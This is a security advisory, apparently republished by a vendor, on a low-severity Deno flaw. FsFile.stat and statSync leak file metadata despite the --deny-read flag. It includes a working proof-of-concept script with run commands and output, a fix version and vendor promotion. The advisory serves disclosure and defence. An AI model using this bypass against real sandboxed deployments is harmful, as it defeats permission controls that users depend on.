GHSA-qq26-84mh-26j9
LOWDeno's --deny-read check does not prevent permission bypass
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.
It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)
Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test1.txt
poc_file.stat.ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}
// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
PermissionStatus { state: "denied", onchange: null }
true
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
Impact
Permission model bypass
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | all versions | 2.5.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update deno to 2.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qq26-84mh-26j9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qq26-84mh-26j9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qq26-84mh-26j9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qq26-84mh-26j9 in your dependencies?
O3 detects GHSA-qq26-84mh-26j9 across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.